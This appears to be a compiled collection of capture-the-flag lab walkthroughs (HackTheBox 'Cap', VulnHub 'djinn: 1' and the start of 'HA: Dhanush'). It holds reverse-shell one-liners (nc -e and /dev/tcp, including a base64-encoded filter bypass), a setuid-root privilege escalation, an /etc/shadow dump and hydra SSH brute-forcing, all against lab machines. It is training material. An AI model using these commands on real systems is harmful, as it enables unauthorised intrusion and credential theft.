000000060:   200        370 L    993 W      17143 Ch    "03"                                                              
000000045:   200        370 L    993 W      17152 Ch    "1"                                                               
000000070:   200        370 L    993 W      17143 Ch    "3"                                                               
000000064:   200        370 L    993 W      17149 Ch    "02"                                                              
000000124:   200        370 L    993 W      17146 Ch    "0"                                                               
000000713:   200        370 L    993 W      17146 Ch    "00"                                                              
000001803:   200        370 L    993 W      17152 Ch    "001"                                                             
000002265:   200        370 L    993 W      17149 Ch    "002"                                                             
000002586:   200        370 L    993 W      17146 Ch    "000"                                                             
000003042:   200        370 L    993 W      17143 Ch    "003"                                                             
000004236:   200        370 L    993 W      17152 Ch    "0001"                                                            
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 62.40377
Processed Requests: 5127
Filtered Requests: 5114
Requests/sec.: 82.15849
```

There are so many files found inside /data directory. after hit and try every file inside directory i found a interesting file called 00.

So let's go to this url -> 10.10.10.245/data/00

And in there we found a download button let's download that file.

After downloading the file we found that it's a .pcap file let's open this file in wireshark.

And inside wireshark we see there is good amount of ftp request going.

I apply a filter to see only ftp req and we found a username and password that's try to login in ftp and they got successful login.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1995.jpg)

``` bash
220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS Buck3tH4TF0RM3!
230 Login successful.
SYST
215 UNIX Type: L8
PORT 192,168,196,1,212,140
200 PORT command successful. Consider using PASV.
LIST
150 Here comes the directory listing.
226 Directory send OK.
PORT 192,168,196,1,212,141
200 PORT command successful. Consider using PASV.
LIST -al
150 Here comes the directory listing.
226 Directory send OK.
TYPE I
200 Switching to Binary mode.
PORT 192,168,196,1,212,143
200 PORT command successful. Consider using PASV.
RETR notes.txt
550 Failed to open file.
QUIT
221 Goodbye.
```

Now let's try to login with these creads inside ftp.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/cap]
└─# ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:root): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Jun 02 13:50 user.txt
226 Directory send OK.
```

We see that we can view inside nathan home directory it's mean we can login inside ssh also.

Let's try that.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/cap]
└─# ssh nathan@10.10.10.245
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ECDSA key fingerprint is SHA256:8TaASv/TRhdOSeq3woLxOcKrIOtDhrZJVrrE0WbzjSc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ECDSA) to the list of known hosts.
nathan@10.10.10.245's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jun  6 09:55:09 UTC 2021

  System load:           0.0
  Usage of /:            35.2% of 8.73GB
  Memory usage:          37%
  Swap usage:            0%
  Processes:             234
  Users logged in:       1
  IPv4 address for eth0: 10.10.10.245
  IPv6 address for eth0: dead:beef::250:56ff:feb9:26d2

  => There is 1 zombie process.




Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Jun  6 04:45:03 2021 from 10.10.16.132
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
nathan@cap:~$ whoami
nathan
nathan@cap:~$ cat user.txt
654905b014e892c542fb818e05e34a79
```

And we got login let's get the user.txt file.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1996.jpg)

#### Privilege escalation

let's run linPEAS.

After analyzing the linPEAS output i found a capabilities tab that has python3.8.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1997.jpg)

Let's check that binary if they have root privilege or not.

``` bash
nathan@cap:~$ ls -la /usr/bin/ | grep -i python3
lrwxrwxrwx  1 root   root          23 Jan 27 15:41 pdb3.8 -> ../lib/python3.8/pdb.py
lrwxrwxrwx  1 root   root          31 Mar 13  2020 py3versions -> ../share/python3/py3versions.py
lrwxrwxrwx  1 root   root           9 Mar 13  2020 python3 -> python3.8
lrwxrwxrwx  1 root   root          16 Mar 13  2020 python3-config -> python3.8-config
-rwxr-xr-x  1 root   root     5486384 Jan 27 15:41 python3.8
lrwxrwxrwx  1 root   root          33 Jan 27 15:41 python3.8-config -> x86_64-linux-gnu-python3.8-config
lrwxrwxrwx  1 root   root          33 Mar 13  2020 x86_64-linux-gnu-python3-config -> x86_64-linux-gnu-python3.8-config
-rwxr-xr-x  1 root   root        3240 Jan 27 15:41 x86_64-linux-gnu-python3.8-config
```

The binary has own by root let's run the python3 binary which has symlink to python3.8.

And we also change the suid to 0 becuase 0 is always root.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1998.jpg)

Let's check first with whoami command.

``` bash
nathan@cap:~$ python3 -c 'import os; os.setuid(0); os.system("whoami")'
root
```

And we got the output root now with root privilege let's change the permission to suid bit set of /bin/bash binary so any user can execute that and get root privilege.

``` bash
nathan@cap:~$ python3 -c 'import os; os.setuid(0); os.system("chmod +s /bin/bash")'
nathan@cap:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18  2020 /bin/bash
nathan@cap:~$ /bin/bash -p
bash-5.0# id
uid=1001(nathan) gid=1001(nathan) euid=0(root) egid=0(root) groups=0(root),1001(nathan)
bash-5.0# whoami
root
bash-5.0# cd
bash-5.0# ls
user.txt
bash-5.0# cd /root
bash-5.0# cat root.txt
3d1f4a130d6acf43f869c2c96cf065fa
```

``` bash
bash-5.0# cat /etc/shadow | grep root
root:$6$8vQCitG5q4/cAsI0$Ey/2luHcqUjzLfwBWtArUls9.IlVMjqudyWNOUFUGDgbs9T0RqxH6PYGu/ya6yG0MNfeklSnBLlOskd98Mqdm0:18762:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1999.jpg)

#### Summary of knowledge

 - use wfuzz fuzz directory
 - use wireshark get ftp username and password from a .pcap file
 - python3 -c 'import os; os.setuid(0); os.system("chmod +s /bin/bash")' to privesc

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end cap -->

</details>

<a id="case-djinn-1"></a>

## 命令过滤与自定义 sudo 程序

原文保留交互服务中的命令绕过、敏感文件和自定义程序权限变化。编码载荷、标准输入及运行用户都跟随记录呈现。

<p class="kb-provenance">来源 djinn-1 · 原记录 2020-05-21 · 25 个代码块 · 2 处图片引用</p>

<details class="kb-evidence" id="record-djinn-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start djinn-1 -->

#### name

Name: djinn: 1
Date release: 18 Nov 2019

#### download

Download: https://drive.google.com/file/d/1LlT5JcdlyDUcvkn12t9oIIFo0X9Gt53B/view?usp=sharing
Download (Mirror): https://download.vulnhub.com/djinn/djinn.ova
Download (Torrent): https://download.vulnhub.com/djinn/djinn.ova.torrent

#### description

 - Level: Beginner-Intermediate
 - flags: user.txt and root.txt
 - Description: The machine is VirtualBox as well as VMWare compatible. The DHCP will assign an IP automatically. You'll see the IP right on the login screen. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively.
 - Format: Virtual Machine (Virtualbox - OVA)
 - Operating System: Linux



#### information gathering

first use nmap as usual

``` bash
root@kali:~# nmap -sn -v 192.168.56.*
Nmap scan report for 192.168.56.127
Host is up (0.00013s latency).
MAC Address: 08:00:27:03:DB:2D (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -sV -sC -v -p- -T4 192.168.56.127
PORT     STATE    SERVICE VERSION
21/tcp   open     ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0              11 Oct 20  2019 creds.txt
| -rw-r--r--    1 0        0             128 Oct 21  2019 game.txt
|_-rw-r--r--    1 0        0             113 Oct 21  2019 message.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.56.126
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   filtered ssh
1337/tcp open     waste?
| fingerprint-strings: 
|   NULL: 
|     ____ _____ _ 
|     ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ 
|     \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
|     ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
|     Let's see how good you are with simple maths
|     Answer my questions 1000 times and I'll give you your gift.
|     '*', 9)
|   RPCCheck: 
|     ____ _____ _ 
|     ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ 
|     \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
|     ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
|     Let's see how good you are with simple maths
|     Answer my questions 1000 times and I'll give you your gift.
|_    '+', 5)
7331/tcp open     http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/0.16.0 Python/2.7.15+
|_http-title: Lost in space
```

 - Enumeration

ftp anonymous login, then get three files

``` bash
root@kali:~/vulnhub/djinn-1# ftp 192.168.56.127
Connected to 192.168.56.127.
220 (vsFTPd 3.0.3)
Name (192.168.56.127:root): anonymous 
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              11 Oct 20  2019 creds.txt
-rw-r--r--    1 0        0             128 Oct 21  2019 game.txt
-rw-r--r--    1 0        0             113 Oct 21  2019 message.txt
226 Directory send OK.
ftp> get creds.txt
local: creds.txt remote: creds.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for creds.txt (11 bytes).
226 Transfer complete.
11 bytes received in 0.00 secs (109.6142 kB/s)
ftp> get game.txt
local: game.txt remote: game.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for game.txt (128 bytes).
226 Transfer complete.
128 bytes received in 0.02 secs (7.0244 kB/s)
ftp> get message.txt
local: message.txt remote: message.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for message.txt (113 bytes).
226 Transfer complete.
113 bytes received in 0.05 secs (2.4331 kB/s)
```

use cat command to check the content

``` bash
root@kali:~/vulnhub/djinn-1# cat creds.txt 
nitu:81299
root@kali:~/vulnhub/djinn-1# cat game.txt 
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the 
final level and get the prize.
root@kali:~/vulnhub/djinn-1# cat message.txt 
@nitish81299 I am going on holidays for few days, please take care of all the work. 
And don't mess up anything.
```

use Netcat to make a connection so that we can play the game

``` bash
root@kali:~# nc 192.168.56.127 1337
  ____                        _____ _                
 / ___| __ _ _ __ ___   ___  |_   _(_)_ __ ___   ___ 
| |  _ / _` | '_ ` _ \ / _ \   | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | |  __/   | | | | | | | | |  __/
 \____|\__,_|_| |_| |_|\___|   |_| |_|_| |_| |_|\___|
                                                     

Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(9, '+', 9)
> 18
(3, '-', 1)
> 2
(2, '/', 3)
> 2
Wrong answer
```

it's just a  waste time game, go for next step

``` bash
http://192.168.56.127:7331/
```

use gobuster for dir

``` bash
gobuster dir -u http://192.168.56.127:7331/ -w /usr/share/wordlists/dirb/big.txt -t 500
/genie (Status: 200)
/wish (Status: 200)
```

genie page is an error 403,perhaps it's no use
the following page is a little interesting

``` bash
http://192.168.56.127:7331/wish
```

this page can excecute commands

request:

``` bash
POST /wish HTTP/1.1
Host: 192.168.56.127:7331
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Origin: http://192.168.56.127:7331
Connection: close
Referer: http://192.168.56.127:7331/wish
Upgrade-Insecure-Requests: 1

cmd=id
```

response:

``` bash
HTTP/1.0 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 379
Location: http://192.168.56.127:7331/genie?name=uid%3D33%28www-data%29+gid%3D33%28www-data%29+groups%3D33%28www-data%29%0A
Server: Werkzeug/0.16.0 Python/2.7.15+
Date: Sat, 23 May 2020 05:03:45 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/genie?name=uid%3D33%28www-data%29+gid%3D33%28www-data%29+groups%3D33%28www-data%29%0A">/genie?name=uid%3D33%28www-data%29+gid%3D33%28www-data%29+groups%3D33%28www-data%29%0A</a>.  If not click the link.
```

 - Exploitation

get a shell by using nc

``` bash
nc -e /bin/sh 192.168.56.126 1155
```

excecute the payload, we got the following error

``` bash
http://192.168.56.127:7331/genie?name=Wrong+choice+of+words
```

some of the symbols are characters are restricted

we can use other payload, encrypt the whole command in base64 format 

``` bash
bash -i >& /dev/tcp/192.168.56.126/8080 0>&1
```

``` bash
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEyNi84MDgwIDA+JjE= | base64 -d | bash
```

then we get a shell

``` bash
root@kali:~# nc -lvp 8080
listening on [any] 8080 ...
192.168.56.127: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.126] from (UNKNOWN) [192.168.56.127] 47358
bash: cannot set terminal process group (758): Inappropriate ioctl for device
bash: no job control in this shell
www-data@djinn:/opt/80$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@djinn:/opt/80$ whoami
whoami
www-data
```

let's take a look around

``` bash
www-data@djinn:/opt/80$ cat app.py
cat app.py
import subprocess

from flask import Flask, redirect, render_template, request, url_for

app = Flask(__name__)
app.secret_key = "key"

CREDS = "/home/nitish/.dev/creds.txt"

RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"]


def validate(cmd):
    if CREDS in cmd and "cat" not in cmd:
        return True

    try:
        for i in RCE:
            for j in cmd:
                if i == j:
                    return False
        return True
    except Exception:
        return False


@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")


@app.route("/wish", methods=['POST', "GET"])
def wish():
    execute = request.form.get("cmd")
    if execute:
        if validate(execute):
            output = subprocess.Popen(execute, shell=True,
                                      stdout=subprocess.PIPE).stdout.read()
        else:
            output = "Wrong choice of words"

        return redirect(url_for("genie", name=output))
    else:
        return render_template('wish.html')


@app.route('/genie', methods=['GET', 'POST'])
def genie():
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = "It's not that hard"

    return render_template('genie.html', file=page)


if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True)
```

``` bash
cat /home/nitish/.dev/creds.txt
nitish:p4ssw0rdStr3r0n9
```

change our shell to a tty shell

``` bash
www-data@djinn:/opt/80$ python -c 'import pty;pty.spawn("/bin/sh")'
python -c 'import pty;pty.spawn("/bin/sh")'
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ su nitish
su nitish
Password: p4ssw0rdStr3r0n9

nitish@djinn:/opt/80$ id
id
uid=1001(nitish) gid=1001(nitish) groups=1001(nitish)
nitish@djinn:/opt/80$ whoami
whoami
nitish
```

finally, we get user.txt...

``` bash
nitish@djinn:/opt/80$ cd ~
cd ~
nitish@djinn:~$ ls
ls
user.txt
nitish@djinn:~$ cat user.txt
cat user.txt
10aay8289ptgguy1pvfa73alzusyyx3c
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub276.jpg)


#### Post Exploitation

``` bash
nitish@djinn:~$ sudo -l                                                                              
sudo -l                                                                                              
Matching Defaults entries for nitish on djinn:                                                       
    env_reset, mail_badpass,                                                                         
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin         

User nitish may run the following commands on djinn:
    (sam) NOPASSWD: /usr/bin/genie
```

understand how it works

``` bash
nitish@djinn:~$ genie
genie
usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish
genie: error: the following arguments are required: wish
nitish@djinn:~$ genie -h
genie -h
usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish

I know you've came to me bearing wishes in mind. So go ahead make your wishes.

positional arguments:
  wish                  Enter your wish

optional arguments:
  -h, --help            show this help message and exit
  -g, --god             pass the wish to god
  -p SHELL, --shell SHELL
                        Gives you shell
  -e EXEC, --exec EXEC  execute command
```

now we get a shell of user sam

``` bash
nitish@djinn:~$ sudo -u sam genie -cmd new
sudo -u sam genie -cmd new
my man!!
$ id
id
uid=1000(sam) gid=1000(sam) groups=1000(sam),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)
$ whoami
whoami
sam
```

use the following command to get a stable shell,then enumerate again

``` bash
$ bash
bash
sam@djinn:~$ sudo -l
sudo -l
Matching Defaults entries for sam on djinn:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago
```

#### Privilege Escalation

and we get root

``` bash
sam@djinn:~$ sudo -u root /root/lago 
sudo -u root /root/lago
What do you want to do ?
1 - Be naughty
2 - Guess the number
3 - Read some damn files
4 - Work
Enter your choice:2
2
Choose a number between 1 to 100: 
Enter your number: num
num
# id
id
uid=0(root) gid=0(root) groups=0(root)
# whoami
whoami
root
```

next, we try to find the flag

``` bash
# bash
bash
root@djinn:~# su root
su root
root@djinn:/home/nitish# cd
root@djinn:~# ls
ls
lago  proof.sh
root@djinn:~# ./proof.sh
./proof.sh
'unknown': I need something more specific.
    _                        _             _ _ _ 
   / \   _ __ ___   __ _ ___(_)_ __   __ _| | | |
  / _ \ | '_ ` _ \ / _` |_  / | '_ \ / _` | | | |
 / ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_|
/_/   \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_)
                                     |___/       
djinn pwned...
__________________________________________________________________________

Proof: 33eur2wjdmq80z47nyy4fx54bnlg3ibc
Path: /root
Date: Sat May 23 11:23:39 IST 2020
Whoami: root
__________________________________________________________________________

By @0xmzfr

Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub277.jpg)

#### Summary of knowledge

 - Command execution bypass
 - Sensitive information disclosure
 - custom program Privilege Escalation

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lucifer11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end djinn-1 -->

</details>

<a id="case-ha-dhanush"></a>

## cp 与 zip 的委托执行权限

页面词汇和登录结果提供账户，sudo cp 跨越用户目录边界，sudo zip 的执行能力连接 root。原记录保留公钥权限和每一步身份变化。

<p class="kb-provenance">来源 HA-Dhanush · 原记录 2019-12-17 · 11 个代码块 · 2 处图片引用</p>

<details class="kb-evidence" id="record-ha-dhanush">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start HA-Dhanush -->

名称：HA: Dhanush
发布日期：2019年11月9日

级别：中级
任务：枚举目标计算机并获得root用户访问权限。

下载：

 - Download: [https://drive.google.com/file/d/1BfOvrrIqkVeeEhv3j7yASKmVNw-84s3L/view?usp=sharing](https://drive.google.com/file/d/1BfOvrrIqkVeeEhv3j7yASKmVNw-84s3L/view?usp=sharing)
 - Download (Mirror): [https://download.vulnhub.com/ha/dhanush.zip](https://download.vulnhub.com/ha/dhanush.zip)
 - Download (Torrent): [https://download.vulnhub.com/ha/dhanush.zip.torrent](https://download.vulnhub.com/ha/dhanush.zip.torrent)

描述：

Dhanush曾经是武器技术的巅峰之作。 它把战争重新定义到了一个新的高度，并在历史上的所有神话记载中都提到过。
选择你的Dhanush，拉伸琴弦并射击以获取root！枚举是关键！！！！有关印度神话和弓箭的一些信息可能会有所帮助。



#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.142.0/24
Nmap scan report for 192.168.142.131
Host is up (0.00030s latency).
MAC Address: 00:0C:29:22:66:8B (VMware)
```

``` bash
root@kali:~# nmap -A -v -sV -Pn -T4 --script=vuln 192.168.142.131
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| http-fileupload-exploiter: 
|   
|     Couldn't find a file-type field.
|   
|_    Couldn't find a file-type field.
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.142.131:80/assets/js/?C=N%3bO%3dD%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=S%3bO%3dD%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/?C=N%3bO%3dD%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=M%3bO%3dD%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=D%3bO%3dD%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=N%3bO%3dD%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/js/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.131:80/assets/?C=D%3bO%3dA%27%20OR%20sqlspider
|_    http://192.168.142.131:80/assets/?C=M%3bO%3dA%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:apache:http_server:2.4.29: 
|       CVE-2019-0211   7.2     https://vulners.com/cve/CVE-2019-0211
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-15715  6.8     https://vulners.com/cve/CVE-2017-15715
|       CVE-2019-10082  6.4     https://vulners.com/cve/CVE-2019-10082
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       CVE-2019-10081  5.0     https://vulners.com/cve/CVE-2019-10081
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2019-0196   5.0     https://vulners.com/cve/CVE-2019-0196
|       CVE-2018-17199  5.0     https://vulners.com/cve/CVE-2018-17199
|       CVE-2018-1333   5.0     https://vulners.com/cve/CVE-2018-1333
|       CVE-2017-15710  5.0     https://vulners.com/cve/CVE-2017-15710
|       CVE-2019-0197   4.9     https://vulners.com/cve/CVE-2019-0197
|       CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092
|       CVE-2018-11763  4.3     https://vulners.com/cve/CVE-2018-11763
|_      CVE-2018-1283   3.5     https://vulners.com/cve/CVE-2018-1283
```

``` bash
root@kali:~# nmap -p- -A 192.168.142.131
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HA: Dhanush
65345/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:2f:3d:dd:ac:42:d4:d5:de:ec:9b:19:0b:45:3e:13 (RSA)
|   256 89:02:8d:a5:e0:75:a5:34:3b:52:3a:6c:d1:f4:05:da (ECDSA)
|_  256 ea:af:62:07:73:d0:d5:1e:fb:a9:12:62:34:27:52:d9 (ED25519)
```

现在，在进一步之前，此网页可能包含Dhanush的大量信息。 同样，这些可能是用户名或密码。 因此，决定使用cewl命令制作字典。

``` bash
root@kali:~# cewl http://192.168.142.131/ -w dict1.txt
CeWL 5.4.6 (Exclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
root@kali:~# cat dict1.txt 
Dhanush
धनष
Lord
Feature
Wielded
the
यद
यग
Arjuna
was
able
his
and
Then
path
The
Header
लनर
भवत
भरत
यत
थनमधर
तदत
मन
सजम
यहम
परत
रणय
सधन
वनशय
दष
कतम
मसस
थपनर
थय
भवम
What
Banner
Dhanushधनष
Weapon
for
shooting
arrows
typically
made
curved
piece
wood
joined
both
ends
Taut
String
दनय
सबस
तशल
धनषWorld
Most
Powerful
Dhanushs
Sharang
Dhanushसरग
Vishnu
Made
Viswakarma
Pinak
Dhanushपनक
ShivaMade
pinak
Gandiv
Dhanushगण
डव
ArjunaMade
Brahma
Portfolio
Choose
Yoursअपन
चन
Heat
Mahabharata
not
lift
against
Family
Gurus
Krishna
tells
him
this
Dhram
Eternal
Truth
war
You
CTF
Warrior
Pick
your
attain
Boot
Hacking
Articles
All
rights
reserved
Scripts
Raj
Aarti
Geet
Yashika
Kavish
Rishab
Japneet
Pavan
```

#### 爆破ssh的用户名和密码

``` bash
root@kali:~# hydra -L dict1.txt -P dict1.txt ssh://192.168.142.131 -s 65345 -I -e nsr -f
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-12-17 22:03:33
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 13338 login tries (l:114/p:117), ~834 tries per task
[DATA] attacking ssh://192.168.142.131:65345/
[STATUS] 214.00 tries/min, 214 tries in 00:01h, 13127 to do in 01:02h, 16 active
[STATUS] 149.67 tries/min, 449 tries in 00:03h, 12892 to do in 01:27h, 16 active
[STATUS] 154.14 tries/min, 1079 tries in 00:07h, 12262 to do in 01:20h, 16 active
[STATUS] 154.67 tries/min, 2320 tries in 00:15h, 11024 to do in 01:12h, 16 active

[STATUS] 151.68 tries/min, 4702 tries in 00:31h, 8643 to do in 00:57h, 16 active
